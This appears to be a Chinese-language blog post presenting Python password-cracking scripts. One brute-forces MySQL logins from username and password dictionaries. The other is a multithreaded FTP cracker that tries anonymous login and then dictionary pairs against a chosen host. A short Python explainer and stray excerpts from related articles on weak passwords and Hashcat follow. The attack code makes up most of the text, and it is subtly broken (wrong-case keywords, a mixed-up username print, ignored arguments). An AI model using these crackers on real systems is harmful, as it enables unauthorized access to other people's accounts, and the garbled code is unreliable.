環境:python 3.6.7
# -*- coding: utf-8 -*-
import pymysql
success = false
f_user = open('username.txt', 'r')
f_pwd = open('password.txt', 'r')
lines_user = f_user.readlines() #讀取出來是乙個列表
lines_pwd = f_pwd.readlines()
for user in range(0, len(lines_user)): #遍歷使用者名稱列表
for pwd in range(0, len(lines_pwd)): #遍歷密碼列表
try:
db = pymysql.connect(
host = 'localhost',
port = 3306,
user = lines_user[user].rstrip(),
passwd = lines_pwd[pwd].rstrip(),
)success = true
if success:
print("使用者名稱:" + lines_pwd[user].rstrip() + " " + "密碼:"+ lines_pwd[pwd].rstrip() + " " + "破解成功")
success = false
except:
print(lines_user[user].rstrip() + " " + lines_pwd[pwd].rstrip() + " " + "破解失敗")
pass
f_user.close()
f_pwd.close()
# -*- coding: utf-8 -*-
'''使用方法,如:python crack_ftp.py -h 10.10.10.130 -u username.txt -p password.txt
'''import optparse
import ftplib
import threading
import socket
def anonylogin(host): #匿名登入
try:
ftp = ftplib.ftp(host) #連線 ftp 伺服器
ftp.connect(host, 21, timeout = 10) #確定 ftp 伺服器的位址、埠號和超時時間
ftp.login('', '') #匿名登入
ftp.retrlines('list') #顯示 ftp 伺服器中檔案的資訊列表
ftp.quit() #退出 ftp
print('\n[*]' + str(host) + 'ftp anonymous login succeeded.')
except exception as e:
print('\n[-]' + str(host) + 'ftp anonymous login failed.')
def ftplogin(host, username, password): #賬號密碼登入
try:
print('[-] trying: ' + username + '/' + password)
ftp = ftplib.ftp(host) #連線 ftp 伺服器
ftp.connect(host, 21, timeout = 10)
ftp.login(username, password)
ftp.retrlines('list')
ftp.quit()
print('success!!!' + ' ' + 'username: ' + username + ' ' + 'password: ' + password)
except ftplib.all_errors:
pass
def crack(host, userfile, pwdfile): #用賬號密碼字典進行暴力破解
file_user = open('username.txt', 'r')
file_pwd = open('password.txt', 'r')
for user in file_user.readlines(): #遍歷使用者名稱字典
file_pwd.seek(0) #重置 file_pwd 檔案的指標位置,此處為指向頭,即從頭開始遍歷
for pwd in file_pwd.readlines(): #遍歷密碼字典
username = user.strip('\n') #過濾換行符
password = pwd.strip('\n')
#用多執行緒加快破解速度
t = threading.thread(target = ftplogin, args = (host, username, password))
t.start()
def main(): #主函式
parser = optparse.optionparser()
parser.add_option('-h', dest = 'host', type = 'string', help = 'speclify the host')
parser.add_option('-u', dest = 'userdic', type = 'string', help = 'specify the dictionary for user')
parser.add_option('-p', dest = 'pwddic', type = 'string', help = 'specify the dictionary for password')
(options, args) = parser.parse_args() #獲取引數
host = options.host
userdic = options.userdic
pwddic = options.pwddic
try:
host = socket.gethostbyname(host) #若傳入的是主機名,則將其轉為 ip 位址
except:
print("[-] cannot resolve '%s': unknown host" %host)
anonylogin(host) #先嘗試是否可以匿名登入
crack(host, userdic, pwddic) #用賬號密碼字典進行暴力破解
if __name__ == '__main__':
main()
關於**的一些解釋
①if __name__ == '__main__'
由於每個python模組(python檔案)都包含內建的變數__name__,當執行模組被執行的時候,__name__等於檔名(包含了字尾.py)。
如果import到其他模組中,則__name__等於模組名稱(不包含字尾.py)。
而「main」等於當前執行檔案的名稱(包含了字尾.py)。
所以當模組被直接執行時,name== 'main』結果為真;
而當模組被import到其他模組中時,name== 'main』結果為假,就是不呼叫對應的方法。
簡而言之就是:name是當前模組名,當模組被直接執行時模組名為main。當模組被直接執行時,**將被執行,當模組是被匯入時,**不被執行。
②parser.add_option()
add_option()引數說明:
弱口令掃瞄 暴力破解密碼
在internet環境中,過於簡單的口令時伺服器面臨的最大風險。儘管大家都知道複雜的口令更安全,但仍然有很多使用者貪圖方便而採用簡單的口令。對於任何乙個承擔安全責任的管理員,及時找出這些弱口令賬戶時非常必要的 為保證linux伺服器平台的安全性,需要按照表2 1中加固項,對現網系統進行安全加固,防止...
暴力破解FTP口令
先啟動ftp服務 from pyftpdlib.handlers import ftphandler from pyftpdlib.servers import ftpserver from pyftpdlib.authorizers import dummyauthorizer authorize...
HASH暴力破解工具 Hashcat
烏雲網看到一篇文章講述hashcat的使用簡介 戳這裡 對使用字典破解md5內容 簡單在kali上嘗試了一下。1 首先檢視了下hashcat的幫助文件,簡單擷取了其中的部分常用說明。hashcat,advanced password recovery usage hashcat options ha...